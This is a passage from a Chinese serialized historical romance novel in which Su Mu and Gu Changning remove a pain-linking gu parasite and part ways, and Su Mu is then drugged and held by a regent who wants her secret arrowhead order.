扬风被问的莫名其妙,他没直接回答,而是继续说道:“州府里的狱卒都被下了药,公子,燕伯肯定还没有逃远,你必须得回去,现在!” 顾长宁看了他一眼,最终妥协地看了远处灯火阑珊中的白色身影:“派人跟着她。” 他跟在扬风身后,迅速消失在这场盛会中。 这边苏木故意放慢了脚步,她看着远处杂耍,然后火树银花就在眼前绽放了开来。 有人拍她肩膀,她没来得及转身,苏木指了指远处的打铁花,脱口而出道:“长宁你看,这样的铁花是上京没有的。” 顾长宁太正式和生疏了,伯沅太亲切了,唯独长宁似乎适合他们现在不近不远的距离。 她第一次叫出口的这句长宁,顾长宁却没有听到。 苏木在听到人没反应后有些赧然地暗骂自己的嘴,她惴惴地转头,却没见到熟悉的面容。 “公子有要事回了,属下陪您,公子说你想逛到多晚都可以。” 燕伯被人劫走了,这件事是顾长宁没想到的。 燕伯一旦生死不明,替周家翻案这件事就会变得难上加难,连带着要是想要治住谢相都变得不如之前那般顺利。 上元之后,顾长宁又恢复了之前的状态,他早出晚归见不着人影,偶尔回来也再没有热腾腾的药膳等着他。 顾长宁觉得自己的眼睛似乎又出问题了,但是他没有机会询问苏木也没有机会找大夫,因为搜寻燕伯的事情太急迫,一有风吹草动他就必须要去处理。 他总是觉得睡睡就好了,但幸好事情不算太坏,他的确睡过之后第二天就会好很多。 转眼,绍华的灾后重建就要大功告成,同样巫溪迎来了霜降节。 霜降节是巫溪州府下的绍华郡县少数民族特有的节日,是为了祈祷来日播种顺利,秋收大成而办的祭祀活动。 那时会有篝火会,郡县上下民众都会围在一起载歌载舞,喝酒吃肉。 绍华郡县县长邀请了顾长宁,顾长宁虽然焦头烂额,但盛情难却,他觉得自己也是时候放松一下了。 燕伯的踪迹找到了,现在只差一个机会将人捉住,顺带着将带走他的人也扣下。 罪加一等,他就该回到上京复命了。 第88章 霜降节的前一天燕伯又被捉了回来, 连带着劫狱之人也被扣住,自此大功告成, 顾长宁畅快不已,心下大悦。 苏木从外面买了笔墨纸砚,现下正在案边习字,她觉得自己的字退步了,这些字似乎是唯一能证明自己与顾长宁之间的关联,看着自己笔下的字她就会觉得自己心里的闷气消散了许多。 一阵急促凌乱的脚步声横冲直撞至她的门前,随即门被一把推开, 一身酒气摇摇晃晃的顾长宁就这样站在了门框边上。 他眼睛失焦, 眼底却弥漫着笑意, 唇角也畅快的勾起。 苏木皱眉正要说些什么, 一个结实的拥抱堵住了他要说的话。 苏木僵在他的怀里,顾长宁把她抱的很紧, 也许是因为他喝酒了的缘故, 苏木觉得他的怀抱很烫,将她灼烧的说不出一句话来。 顾长宁将头埋进她的脖颈间, 呼出的热气挠着苏木的心头。 “苏木, 我找到了。” 他醉醺醺的, 苏木没有推开他,她轻声问他:“找到什么了?” 顾长宁宽大的手掌蹭了蹭她的头发,瓮声瓮气道:“等我回去了, 等他们倒下了,你不用受制于他们的,我会帮你,我会帮你的苏木。” 他说的迷迷糊糊,什么都没有说清楚, 苏木不知道他的话什么意思,不知道他要让谁倒下,也不知道她为什么觉得自己受制于人。 可他的手掌很热很热,他裹着她的后脑勺,慢慢地直起了身子,拉开了二人的距离。 顾长宁松开桎梏着苏木的手,两手捧着苏木的脸,笑得一脸傻气。 慢慢地他越靠越近,越靠越近。 直到苏木感受到自己的唇瓣上覆盖了一层柔软的触感。 苏木惊地嘴巴微张下意识要将人推开,宽大的一只右手将他拦腰控制住,随即他吻地更急切了些。 灵巧地舌头顺着苏木微张地唇向里探去,他撬开苏木抵住的牙关,惩罚似地在她舌尖轻咬了一下,随即整个地席卷着她。 缠绵暧昧,无尽柔意。 苏木喘着气,满脸涨的通红,顾长宁意犹未尽地看着那个被他吻的泪意涟涟脚下发软的人儿。 他低笑一声,很温柔。 苏木羞地别过头:“你笑什么。” 顾长宁粗粝地指腹划过她的唇瓣,眼底迷蒙:“我没有笑。” 苏木瞪他:“我又不瞎。” 顾长宁又低头用嘴在她鼻尖轻点,然后笑出声来:“好吧,我承认,我笑了。” 苏木赧然,只想要将他推开,奈何酒醉的人力气都格外大,苏木挣扎未果,索性偏头不看他。 她声音闷闷的,有些不高兴:“你喝醉酒了就喜欢亲别人?” 顾长宁哈哈笑着:“不会,只亲你。” 苏木脸更烧了,她这下真把顾长宁推开了,忙的到桌边给自己倒了一杯水:“我才不信你的话。” “上次上元灯节你说都没说一声就走了。” 顾长宁绕到她身后,握住了她端茶的手:“不会了,以后不会了。” “对不起。” 苏木回头看着他垂头地乖巧样,稍微原谅了他一些:“你的事情解决了?” 她没问是什么事情,她觉得顾长宁没主动和她讲起,所以她也不故意去问。 顾长宁坐下后支颐着下颌偏头看他,乖巧的不成样子,脑袋顺着支不住的手掌时时往下滑落。 “解决了。” 眼看着人就要磕到桌子边上,吓得苏木立马两手捧着顾长宁的脑袋。 她一动不敢动,等她反应过来时才发现顾长宁闭着眼睛昏睡过去了。 昏睡也不老实,大手在她的小手上蹭来蹭去。 苏木的腿伤好了很多,至少一个月来腿已经不瘸了,她扛着顾长宁将他放在塌上,为他收拾了一番,这才由着他沉沉睡去。 怕他夜里闹腾,苏木并没有出去,她就呆在屋子里,趴在桌子上睡。 苏木摸了摸自己的嘴巴突然有些怔仲。 怎么会这样呢,这样的话,她好像没有勇气用性命去和谢相拼了,她开始害怕鱼死网破同归于尽这样的词语了。 就算是独自去要了谢均的命,她也希望自己有命回来,有命再见到顾长宁。 有命再见到这样的顾长宁。 就像是一只蟾蜍一只在洼地里呆着,它一直以为自己呆着的地方,除此之外的地方都应该是这样暗黑无尽的,直到有一天它见过外面草长莺飞的样子,它见过鸟语花香的样子,再让它回到那片洼地,它肯定不愿意了。 可就算她不愿意,她也不应该将他也拉入那片洼地里才是。 谢氏和顾家本来就不对付,她不应该连累顾长宁的。 苏木坐在塌边将顾长宁脸上散乱的碎发拨开喃喃道:“顾长宁,我想我会拼命留自己一条命,就当是为你,就算你心底的人不是我。” 苏木怅然若失,苦笑道:“哪有怎样呢,你不喜欢我却亲了我,那你要对我负责才行。” …… 霜降节的当天很热闹,顾长宁和苏木同乘一辆马车前往,车厢内两个人的气氛很是诡异。 顾长宁昨夜并不是醉成了烂泥,只是他这几日太累了,终于一切尘埃落定,他很高兴,因此也喝多了。 不知道为什么,在看见苏木的那一刻,他就卸下了在外的一切盔甲,只流露出了最柔软的部分给她。 过几日他将会亲自羁押燕伯上京,参谢均的折子和这件事暂时都还没上报,他必须等到万无一失抵达上京后给谢均沉重一击,他知道谢均必然不会坐以待毙。 但不管他有何打算,他都会将他击垮。 只有这样,他才对得起现在所做的这一切。 苏木被旁边投来的炙热目光烧的脸发烫,她顾不得尴尬,偏头狠剜了对方一眼。 顾长宁轻笑了一声,随即抬手掀帘看着窗外的风景。 苏木看着他的背影,还是犹豫着开了口。 “顾长宁?” “嗯?” 他偏头看她:“怎么了?” 然后他又转头看向外面道:“这一路风景很不错的,你瞧瞧外面的风景,那儿有一个湖,你看……” “我们解蛊吧。” 苏木的语气很平缓,她缓缓说道:“巫师被我安置在巫溪了,这次霜降节回巫溪后我们便解了吧。” 像是怕人拒绝一般,苏木其后快速跟上了一句:“你答应过我的。” 她不能沉沦下去了,越呆着她好像就越不想走了,她不走谁来替沈家报仇,谁来替她杀了谢均,就算有人可以,她也不愿意假手于人。 顾长宁手中的车帘被他攥得不成样子,他没转头,苏木还以为他会拒绝,会发怒。 但他没有,他语气很平常,仿佛也等这一日很久似的:“好啊。” 苏木呼吸一顿,她觉得自己胸口被什么堵住了一般。 对啊,顾长宁有喜欢的人,顾长宁有什么理由不解开这个蛊呢,这样一个连着两人性命得蛊谁会愿意一直连着,谁会愿意将自己的性命攥入他人手里呢。 二人没有再说话,马车里的气压比刚才更低了。 霜降节的确很热闹,一下马车,县长便迎着顾长宁往最热闹的地方而去,而苏木则被一众家眷围着唱歌跳舞了起来。 他们在野外的一片草地上玩的开心尽怀,那一刻似乎所有的烦恼都被抛在了脑后,只有当下的快乐。 众人虽然不知道顾长宁与苏木之间的关系,但他们却十分有眼色,篝火晚会开始后,二人便被推在了人群的最里面。 他们也不扫兴,二人对视后都选择放下芥蒂,牵着手在众人面前跳舞欢呼。 过了一会儿,场上无数男子女子都牵手拥抱跳舞,热闹非凡。 顾长宁却牵着苏木往其它地方而去。 顾长宁在前面走的很急,苏木几乎要被草地绊倒好几次。 但是苏木没有甩开他,直到顾长宁停在了一处枝繁叶茂的大树之下。 树上飘着许多红飘带,上面似乎又字,字里行间都是人们美好的祝愿。 顾长宁松开了牵着她的手,带着很认真的眼神看着她。 “苏木,我……我……” 他似乎有话说不出来,然后他深呼吸了一口气,看着十分紧张一般:“苏木,你,你有没有考虑过以后?” 还没等苏木回话,顾长宁往她走进了一步,他看着用了很大的勇气说话,他说:“以前你为闳离阁做事,要杀我,我对你很不好,你想要自由我却困住了你,逼得你只有用那种方式离开。可是以后,你不想回到闳离阁的话我可以帮你,你可以做你任何想做的事情,你想要解蛊我也会跟你解开,你知道我什么意思吗?” 苏木愣愣地看着他,然后低下了头:“我知道了,解蛊后我会离开的。” 顾长宁见她误会了自己的意思,他立马解释道:“我不是那个意思。” 苏木被他慌忙地解释弄得不明就里,她以为顾长宁说的这番话,就是想要撇开二者之间的关系而已。 “苏木,我的意思是,有些事情我觉得我们可以说开来,我会帮你的。” 苏木更模糊了,她皱眉看着他,心底有了一丝防备:“什么意思。” 他又上前一步,再多一步,他们就可以拥抱上,可顾长宁停住了。 “我是想问,你有没有什么事情想要告诉我。” “有没有什么我不知道的事情想要告诉我。” 苏木恼了,她知道顾长宁还是将上京那件事情放在心上,但他一直这么耿耿于怀地问,她心里很不舒服。 她冷冷看着他,刚才在篝火前的暖意消散了个干净:“你想说什么,问什么你就直接问。” “我说了,老侯爷致命的毒不是我下的,不管你相不相信我。” 顾长宁知道她又会错了意,急忙解释道:“不是这个,我相信你的,如果是你你就会把祝余带走,不会任由祝余在京,让那颗避毒丸有用武之地。” “我是想问你,你……很想,很想离开我吗?” “纵使是纵火假死,也不愿待在上京。” 顾长宁换了话数,他其实想问的是你很想离开我吗,离开我去谢家,去谢辞桉那里。 你是受谢家胁迫,只要你说不是,我就信你。 苏木沉默了。她现在还不能说那些事情,至少她要等到功成后才将这些事情告知他。 不管顾长宁有没有将她放在心上过,但解蛊之前,她不能让任何人因为这个蛊去胁迫到顾长宁。 苏木看着他:“为什么还要问。” “你知道的,在上京时我就多想让你解蛊。” 顾长宁急忙应道:“我知道的,我只是想问你解蛊之后呢,你想去哪,你有什么打算,你是不是会离开上京,你有没有什么话想要对我说,有没有什么事情瞒着我……” “顾长宁!” 苏木止住了他的话:“你没有什么瞒着我吗?” “这么久以来,你在外忙着什么我从来没有问过你,你为什么非要问我瞒着你什么,你明明也不信任我不是吗?” 顾长宁噎住了。 他不是不信任苏木,只是巫溪的事情错综复杂,在苏木来这边之前他遭受过都少明枪暗箭,还因此受伤阴差阳错地被燕祐捡了一条命,他只是想要自己处理这件事情,不让她牵扯进来。 看着他的犹豫,苏木笑了:“所以顾长宁,既然你我都没有信任可言,解蛊后一别两宽不好吗,你就非要问清这些东西吗?” 不是这样的。 顾长宁想要抱苏木的肩膀,可换来的却是对方的侧身。 顾长宁的手僵在了原地,他讷讷道:“不是这样的,如果你想要听,我可以全部都告诉你。” “我不需要。” 苏木语气很冷:“我不需要的顾长宁,我知道你不信任我,扬风之前也跟我说的很清楚了,包括在上京时你一直派凌风一直暗地里跟着我查我不是吗,你怀疑我、猜测我不是吗。” “我不管你认为我跟谁有牵扯,不管你觉得我究竟是什么原因要解蛊,但我告诉你,很认真的告诉你,我解蛊就是要离开你,离开侯府,离开上京,不想和你有一分一毫的牵扯!” 苏木说的很平静,可这些话并不是她的真心话,她很清楚,想要说清楚事情的原委,那沈家的事情势必也要说的一干二净。 她没有时间去等,等谁帮她和周家那样慢慢去翻案,她知道了害沈家的人是谁她就必须要去亲自解决他们。 就算是顾长宁要帮她,她不愿意也不忍心。 她以为自己说的很清楚了,可令苏木没想到的是,顾长宁一把将她扯进了自己的怀里。 他似乎很着急,语气有些急促:“苏木,你能不能,能不能不要说这样的话。” 他将头埋在她的脖颈里,有些哽咽:“你听,你听好吗,你想要知道的我都可以告诉你,你有不想说的就不说,没事的,我不问了。” 苏木感觉到很无力,她问他:“顾长宁,你现在是在干什么,你这样做的意义是什么。” “你为什么要抱着我,我们是什么关系?” 苏木明显感受到顾长宁环抱着他的双臂僵住了,随即是一点点的颤抖。 “你呢,你觉得呢?” 他声音哑哑的,像极了那日他将苏木从江里捞起来时的声音。 苏木却没有像那日一样不说话,她说:“没有关系,我们之间没有关系。” 顾长宁将她抱的更紧了:“别说了,别说了。” 苏木感觉自己脖间好像湿濡了一片,那样温热那样破碎那样可怜。 她觉得自己坚持不住了。 其实没什么大不了的,告诉顾长宁吧,告诉他她要和他脱离关系,因为她要去毁掉一个人,毁掉那个人的同时她可能会死,她如果死了顾长宁因为蛊受到牵连了怎么办。 不行,还是不说了。 可他为什么要像现在这样,他一遍遍问她隐瞒了什么究竟有什么意义。 没有意义。 苏木叹了一口气:“顾长宁,这些天来你做什么我都不问,因为我从上京来巫溪之前就想好了,这次来找你只是把解药给你,只是来找你解蛊,只是这段时日你的状态很差,所以我才一缓再缓,我……” “别说了。” 顾长宁打断了他,他埋在她脖间又重复了一遍:“别说了。” 他的声音带着浓重的鼻音,好像很委屈,好像很慌张。 “苏木” 他的语气突然慌张的更甚。 他一声声地唤着苏木的名字。 “苏木!” “苏木!?” 苏木感受到了一丝异常,在她回应的同时,顾长宁失去了往日的沉稳,他变得很惊慌。 “我看不见了。” “我又看不见了。” “看不见你……” 第89章 顾长宁眼睛又看不见了。 苏木被扬风拦在屋外, 屋里头进进出出许多大夫,每个人都忧愁满面。 扬风看着苏木的样子仿佛在看犯人一般, 不管苏木有多着急多想进去,他觉得自家公子明而复失都是因为眼前这个人。 直到里面传来顾长宁的声音,扬风纵使再不满他也不敢违抗顾长宁的命令,因此苏木还是进去了。 顾长宁坐在椅上,他的眼睛又变得浑浊失焦了起来。但他没有像昨夜那样失控与害怕,面上居然都是平静。 身边大夫说:“小侯爷这是之前暴盲留下的后遗症,这几日太操劳了, 好好修养便行。” 他说的简单, 只有苏木知道, 之前治疗顾长宁眼睛时潇声就曾告诉过她, 顾长宁的眼睛治好后若是不好好保护,再瞎也不是不可能, 后期如果复发还想要再好的话, 必须得再服用一颗还明瞳巩固才是。 苏木对那大夫鞠躬示礼,然后遣人将人送走了。 屋里只剩下二人, 四周又安静了下来。 他偏头问她:“扬风又为难你了吗?” 苏木眼眶有些发酸。 心像被什么东西挠了, 又痒又涩。 他不愿意看到顾长宁意气风发的时候又遭此一击, 她想过见到顾长宁时要怎么安慰他,她觉得是自己昨晚一直刺激他才导致他这样的。 可她没想到顾长宁同她开口的第一句话是问她有没有被扬风为难。 苏木擦掉眼眶快要溢出来的湿热:“没有。” 她看了看他干涩的嘴唇,于是上前给他倒了一杯水递给他:“你不用担心, 只是你暴盲后的后遗症,影响不大的,等过几日药来了给你吃下就好了。” 顾长宁润了润嗓子笑着:“好啊,是你说的,我相信你。” 苏木喉咙如同被异物堵塞, 她说不出一句话来。 她连昨晚说的那么决绝的离开,也突然说不出口了。 顾长宁又偏了偏头:“你不用担心,我虽然看不到了,但是应该不耽误你解蛊,今日吧,你把巫师带来,这蛊一解你就放心了。” 苏木的泪水突然就砸在了木桌之上,声音不大,没人听见。 她快速用手背擦去泪水:“好啊,那就今日。” “我先出去了。” 说着,苏木快速的关门而去。顾长宁颓然般松懈了一口气,手指在眼前小心的晃动着,漆黑一片。 他又成废人了。 若是一直这样反复,那他有什么理由将人留在他身边。 出门时苏木又被扬风拦住纠缠了一番,她疲于应对,懒得和他争论。等扬风自己觉得没意思了苏木才出门将巫师请了过来。 屋内,三人坐在一起。 顾长宁先开口道:“之前有人暗杀我,被我抓住了,那人狡猾,本来为了保住自己一命想要把子母蛊种在他我之间让我不能杀他,只是等他还没来得及将蛊种进自己体内就被我一刀砍死了,再后来这蛊阴差阳错到我二人身上,巫师您看这蛊还能解吗?” 巫师是个道风侠骨的胡须老人,他缓缓笑道,然后将二人的手牵起诊脉。 过了一会儿,老人哈哈大笑。 苏木不明就里,很烦这种不有话直说的人,于是问道:“可能解?” 听她如此急迫,顾长宁蜷着的手指微微动了几下。 巫师摸了摸胡须:“能啊,自然是能的。” “只是这解蛊之法并不简单。” 苏木问:“需要如何做,我都配合你。” 巫师说:“简单,你们二人之中只需要抽出一人之血灌入另一个人的经脉之中,两蛊相冲,蛊虫顺着血脉而出。”巫师一拍手掌:“这就解了。” 苏木皱眉:“这么简单?” 巫师笑道:“你以为多难?” 苏木看了眼一直没发话的顾长宁,随即问巫师:“不是说是生死相连的子母蛊吗,真的这样就可以解蛊了吗?” 这么简单,总感觉被骗了。 巫师一愣:“小姑娘,谁跟你说这是生死相连的子母蛊了,这只是普通的同感蛊,只是会让中蛊二人相连痛感罢了,生与死不牵扯的,蛊虫要是如此厉害,那我苗家不是直接称霸了。” …… 苏木被噎住然后看向面上毫无变化的顾长宁,她开始怀疑顾长宁本来就知道这件事。 他是故意的。 于是苏木也就这样问了:“你知道?” 顾长宁侧耳半分撒谎的样子也没有:“我不知道。” “真的?” 顾长宁笃定回答:“真的。” 巫师看不下去了:“什么真的假的,你俩还解不解蛊了!” “解!” 二人异口同声。 苏木狐疑地看向顾长宁,她没想到顾长宁能够和她回答地一样急切。这次换她心中堵着一口气了。 解蛊过程很快,苏木看着自己经脉处的血流在盆中后,缓缓的松了一口气。 缠好手臂后苏木将巫师送了出去。 自此后一身轻松。 早知无性命之忧,或许从一开始她就不会被迫留在侯府,也不会和顾长宁有这么多纠缠,是她自己蠢,从来没找过一个正真的巫师问过这些事情。 蛊已解,她离开也该派上日程了。 走的那天苏木去见了顾长宁一面。 树下顾长宁正晒着太阳,苏木立在他跟前。 “我明日便走了,我会亲自去闳离阁给你取药,等我到蔺州后你们的队伍也就到淮州了,这样的话比药送来快上许多,你不用担心。” 顿了顿她又说:“服下药之后可能需七日后才能缓缓见的光明,你应该知道的,第一次服下那药就是这样,以后眼睛要是恢复了就别那么拼了,眼睛很脆弱的,世上美好的事物那么多,如果装不进眼睛里多可惜。” 躺椅上的人眯着眼睛,不知道他听进去多少,他只嗯了一声,然后问道:“你这是在和我告别吗?” 苏木愣住了。 是告别吗?是吧,今日过后,将药给他之后她就会出发去上京,按照她原来的计划去取走那人的狗命。 她点头:“是。” 他突然站起身来抱住了苏木,苏木没有挣扎,但他却越抱越紧。 他的唇贴在她耳朵边上,声音极其低哑:“上次在屋里的吻不是第一次。” 苏木被气息扫的脑子麻麻的,她下意识地反问:“什么?” 可回答她的,是顾长宁柔软的唇。 这一次不像上次那么救,在苏木还没反应过来时,顾长宁便将唇移开了。 “我说,上一次不是第一次,所以,我欠你三次,你记得补回来。” 第一次我救你主动吻了你,第二次是我情难自控吻了你,第三次是想要告诉你,我欠你三次吻,你记得补回来。 记得不要说再见。 记得要再见。 … 走之前,扬风又来找了苏木。 苏木是真心烦扬风,扬风对她总是趾高气扬不说,说话老是夹枪带棒,要不然就是说一些苏木听不明白的话。 但以后见面的机会也不多了。想了想苏木还是跟着扬风进到了一间小屋子里。 苏木正要以为扬风憋不出什么好话的时候,扬风掏出来了个小竹筒。苏木一看就明白这个竹筒里装着什么纸条。 苏木警惕地看着他:“你什么意思?” 扬风将竹筒递给他,满脸的认真:“公子此行十分危险,所以公子此行必定会绕开淮州府,你去蔺州路上刚好露过商州,我需要你将这个竹筒交给商州州府,让他营造出声势要护我们过商州路段,以此来声东击西,帮助公子此行顺利入京。” 苏木没接,狐疑地看向他:“顾长宁知道吗?” 扬风不耐烦道:“自然是知道的。” “你为什么要让我替你送信,你不是不相信我吗?” 扬风撇嘴:“我相不相信你重要吗,公子相信你,所以才将此事交给了你,过了淮州后你将药给我,皆大欢喜。” 苏木几乎是用无奈的表情对着扬风,然后她收下了竹筒问他:“扬风,你为什么感觉很讨厌我。” 扬风睨他一眼:“看不出来吗?你浑身上下都写着不靠谱,若是此次任务你完成了,我或许高看你一眼。” 苏木无奈一笑:“行。” 她又看向扬风:“我能问你一件事吗?” 扬风又不耐烦了:“说,” 苏木问:“你不讨厌祝余吧?” 扬风愣住了,突然间他的神色变幻莫测,刚才的高傲消失了大半:“不,不讨厌啊。” 苏木摔门而去:“不讨厌也没用,我不会让祝余和你在一起的!” 她故意这么说,留下了一脸懵逼加气氛的扬风,终于觉得自己找回了一点在扬风面前的气势。 谁让他总是一副高高在上的模样,治一治他也好! 苏木走之前给顾长宁留下了一个鲁工锁和一封信。 她写着,等他眼睛能看到的时候才能打开这锁。 她不担心顾长宁会提前打开,因为就算等他打开之后,他也不在巫溪了。 然后,苏木第二日便踏着朝露,骑着一匹马,一人独行离去了。 至始至终顾长宁都没出来送她,扬风也没有。她走的那天静悄悄的,这是苏木期望的结果。 自此生死不明,如是真的见到了,她可能会犹豫,会舍不得。 放心吧顾长宁,这个消息我会替你带到的。 第90章 苏木决定先去闳离阁那药, 然后再一路北上去商州传信,最后再绕到淮州将药给顾长宁。 很好的计划很好的路线, 苏木想过这一路可能并不太平,但她身上旧伤已愈,她觉得自己都能对付。但令她没想到的是她的第一步就被拦住了。 一个月前。 从上京去巫溪的路上被人追杀了一路,她本身身上就有伤,因此免不了和人一番纠缠。 那天下着很大的雨,苏木拖着受伤的左腿躲在青石路边的草垛里,她没意识到自己发烧了, 于此同时找她的人又跟了上来。 她没力气跑了, 若是再被抓回相府, 她没有第二次逃脱的机会。 青石阶巷忽然传来了一阵马蹄声, 苏木探头望去,那是一辆极其华贵的马车, 马车旁边所行皆是身强力壮的武士, 苏木思索了片刻,决定接马车身后绕到对面。对面往西走可以到商州, 她可以去商州找个医馆治伤, 然后再往巫溪走。 但她才绕到一半就体力不支, 然后就这样直接昏在了路上。 再次醒来时,苏木躺在一个温暖的车厢里。 迷迷糊糊中,她看到了一个人坐在马车里, 或许是因为她是躺着的,她觉得那人看着格外的高大。 那人长相清冷绝艳,比男子柔和,比女子凌冽,美的雌雄难辩。 什么东西在脑中翻涌, 苏木只觉得脑袋很重,她不知道为什么会觉得这人可以相信,于是就在那温暖的毯子上昏沉地睡了过去。 再次醒来时苏木躺在一个干净宽敞的屋子里,榻顶垂落的细纱柔软,榻梁是很好的梨花良木制的。 苏木微微偏头,看见了之前在车厢里见到的那个男子。 她喉咙有些干涩,抬手时看到了自己被包扎好的手腕。 “谢谢你。” 男子看他淡笑道:“不必谢,这里是我的地界,没人能伤害到你。” “你是?” 男子没回答,他伸手在她额间探了探,然后柔声道:“烧已经退了,这几日好好养着吧。” 然后苏木便一只在那间屋子里“被养着”。 她有好几次想要出门,但都被外面的守卫拦着了。苏木不清楚这个男子是谁,也不知道这个男子对她有何企图,总之她很少见到男子,她自己也出不去。 终于等到自己身上大好,,只剩下腿上还有伤未愈的时候苏木想着离开了。 她没见着男子,门口也没人再拦着她,在养伤的第五日苏木留下一封信便离开了。 直到今日,苏木又遇到了这个男子。 回到闳离阁取完药后她本打算直接去商州的,可阁中众人都拦着她,她疑惑不解,气恼地就要将人一个个打晕。 阁楼里有个男子进来了,露出的是苏木久违的面容,他依旧笑得很温柔,可苏木却没感受到善意,甚至觉得人来者不善。 苏木想的没错,他的确来者不善。 他手底下高手无数,但苏木也不是吃素的,眼看着自己就要杀出阁楼时她却忽而浑身无力,这时她才意识到刚才那些师兄师妹给她递来的茶里有东西。 苏木不知道自己何时惹过这等人物,愤愤地看着对着她还一脸笑意的人。 他笑着转了转手中折扇,于是苏木就被押上了他身后面的马车。 再次醒来时,苏木躺在一张床上,屋子布置很简单,似乎是之前她被关的那间屋子。 和上次相似的事是男子依旧坐在塌边。 苏木警惕地看着他:“我不记得我得罪过阁下,不知阁下现举是什么意思。” 男子轻笑两声,命人给苏木喝水,苏木别过头,不太愿意喝。 男子摆手示意众人退下,屋子里只剩下两人。 “苏木,你还记得你上次离开在那封信中所写的是什么吗?” 苏木回想,然后回道:“感谢你的救命之恩,若有需要定以回报?” 男子一笑:“是这样,所以现在是你回报我的时候了。” 苏木心中升起一股非常不妙的感觉。 她开始仔细打量着眼前男人,他衣着不凡气质不俗,能够自由出入闳离阁,还有如此得力的手下。 她不记得自己有什么荣幸能够和这样的人有什么恩怨。 他是冲着顾长宁来的。 男子所说也证实了她的猜想,他抬手喝下一口茶,慢悠悠开口:“我要顾长宁他们一行人的动向。” 苏木心中一惊面上却表现得平静:“我不知道。” 男子把玩着手中茶杯:“你真的不知道?” “我不知道。” “苏木,我劝告你,你就算不说我也能够查到,倒不如你直接告诉我你倒少吃些苦头。” 苏木抬头看他:“你若是能查到又何必问我。” 男子说:“你真的不告诉我?” 苏木倔强地回道:“我不知道。” 男子突然起身了,他阴沉着脸看她,随即却又是一笑:“你嘴硬不会有任何的好处,你既然说过要报恩,那就应该遵循自己的本心才是。” “那我换个问题。” 男子手指划过苏木脸庞,如同在抚摸一个茶杯或者一个精美的物件儿一般,他抽回手:“你告诉我,你的箭镞,在哪?” 这一瞬苏木凝住了呼吸,她几乎是用不可置信地眼睛看着眼前人,随即她自嘲一笑:“所以是你在上次拿了我的箭镞,我还以为是丢了。” 男子起身坐在远处:“你不用装我也知道,你还有一个箭镞。” 苏木瞳孔一缩,手指有些颤抖。 她想要翻身起来,却发现自己浑身无力,苏木费力地挪动了半个身子死死盯着他,嘴唇有些颤抖:“你,你是谢相的人?” 男子说:“错了,我不是谁的人。”他又笑着指了指床上的人:“不过你,是我的人。” 苏木觉得眼前人脑子有问题,她这么想也这么说了:“阁下脑子有问题就去瞧瞧吧,找我瞧也成,我也是个大夫,你这疯病不治怕是全鄢国都是你的人。” 男子突然大声笑了起来,他收敛起笑容然后看向窗外风景:“其实有病的不是我,是你。” 苏木是真觉得眼前人脑子有什么问题,她闭眼不再看那人。 可那人的声音却依旧响着。 “你不记得我了,我不怪你,或许你的师父可以将一切都告诉你,只是我希望等你想起一切后,你可以将我想知道的都告诉我。” 苏木已经懒得听这个疯子说话了,她觉得和他说话很费解,但是苏木却将他的话有一句无一句的都听了进去。 她有些恼怒:“你究竟是谁!” 男子将门掩上:“如果想知道的话,让潇声告诉你吧。” 男子走后苏木并没有安心睡着,她百思不得其解这个关着她的人是谁。如果说那个人想要从她嘴里套消息,那定然不应该是这样好吃好喝地待她。 而且他可以光明正大地从闳离阁带她走,甚至可以和闳离阁其他人一起配合给她下药,难道闳离阁被他控制了?那潇声呢,也会被他控制被他关在何处吗? 越想苏木越觉得可怕,但眼下唯一让她心安的是她早做了打算,不管是竹筒信笺还是另一个东西,此刻都不在她身上。 天色暗了几分,屋外夕阳渐沉,屋内灯火未点,一片漆黑。 苏木不敢死睡但却因为太困迷蒙着,忽而听到外面传来脚步声她就立马清醒了。 苏木身上的药劲未散,只能偏头努力去看那要进来之人。 门缓缓被打开,进来的是个女人。 约莫四十多岁,手里提着一个灯笼。随着屋内烛火被点燃,苏木看清楚了来人。 她惊喜道:“师父!” 潇声是一个身形清瘦的女人,她的面相宽阔,两颊有些凹陷,头发随意披在脑后扎着,一身青衣随性自然。 她没直接应声,吹灭灯笼后,潇声坐在了男子之前坐的桌前,和她相对着。 苏木意识到了什么,她的惊喜被惊疑覆盖:“师父?他,是什么人?” 这个他已有所指,潇声自然知道她说的是谁。 她看着苏木,清明的眼睛中流露出暖意:“木儿,你我许久未见了。” 苏木对眼前的女人一向都很尊敬,她是她逃出奴场后救她一命的人,是教她武功护她周全之人。如果说在这世上她最亲近同样也是最尊敬的人,只有潇声一个。 苏木嗯了一声:“苏木见过师父,师父这些日子过的可好。” 潇声笑道:“自然是好的。” 苏木立马询问:“真的吗,闳离阁不是独立于各国的组织吗,那个男人是谁,他为什么可以在闳离阁来去自由,还可以和闳离阁众人串联在一起?” 苏木有些担心:“他威胁你了吗?” “师父,你不用担心,你都告诉我,我会护着你的。” 她长大了,不是那个需要被潇声护在身后只会瑟瑟发抖的小孩,至她十一岁起,她手下已经有过许多人命了。 潇声被她这话似是温暖到了一般,她只笑了一下然后就收起了笑容:“木儿,没有人威胁我。” “那他是谁?他凭什么可以拘着我!” 见苏木语气激动,潇声走前来坐她塌前牵起苏木的手:“其实,有些事情你还是不知道的好,既然忘了那就忘了,只是,若是他想要让你交出些什么,你直接交出来吧。” 苏木更不解了,她不明白为什么这样一个陌生的人可以让潇声苦口婆心地来劝解自己,为什么不管是那个男人还是潇声都要一直不停地跟她说你忘了什么东西。 她忘了什么,从八岁到十八岁,这十年间的一切她都记得,她没见过那个男人就是没见过。 “如果师父可以告诉我他是谁,他有什么目的,我可以告诉你的 。” 苏木看着潇声,面上写满了认真。 潇声很久没发话,跳动的烛火拍打在她晦暗不明得脸庞时露出时明时暗地复杂。 半晌,她终于开了口。 “他是当今摄政王。” 那一夜,苏木一夜未眠。 她的身上一直都有两个箭镞,一个是沈家遭难那日凶手留下的一个,另一个则是她父亲拼死留给她的,他让她小心留着,千万不要被歹人拿去利用。 密令放在那个箭镞里,里面的东西苏木从来没有打开过。 但她偶然间无意听到了父亲和母亲的对话。 那个密令里关乎着天子与摄政王相关的东西,可让人生,也会让人死。 摄政王早就知道她身上有两个箭镞,那他为何第一次救下她的时候没直接撕破脸皮,还要放她走? 第91章【VIP】 第91章 当今最大的最神秘的暗杀组织闳离阁实际是当今摄政王所控组织, 这件事情,给了苏木莫大的震撼。 那天, 她只记得潇声走之前对她说的最后一句话。 “你是闳离阁的人,你知道怎么做。” …… 她怎么做,她什么都不想做。 她目前担心的只有顾长宁的眼睛以及信未按时送到商州去,而未传信这件事情究竟会不会对顾长宁他们一行人的回京产生影响。 后面几日,摄政王再次雷打不动的来看她。 苏木身上的软骨散已经消散,但她的手脚都被屈辱地拷在床上,她并不认为自己得到了应有的尊重, 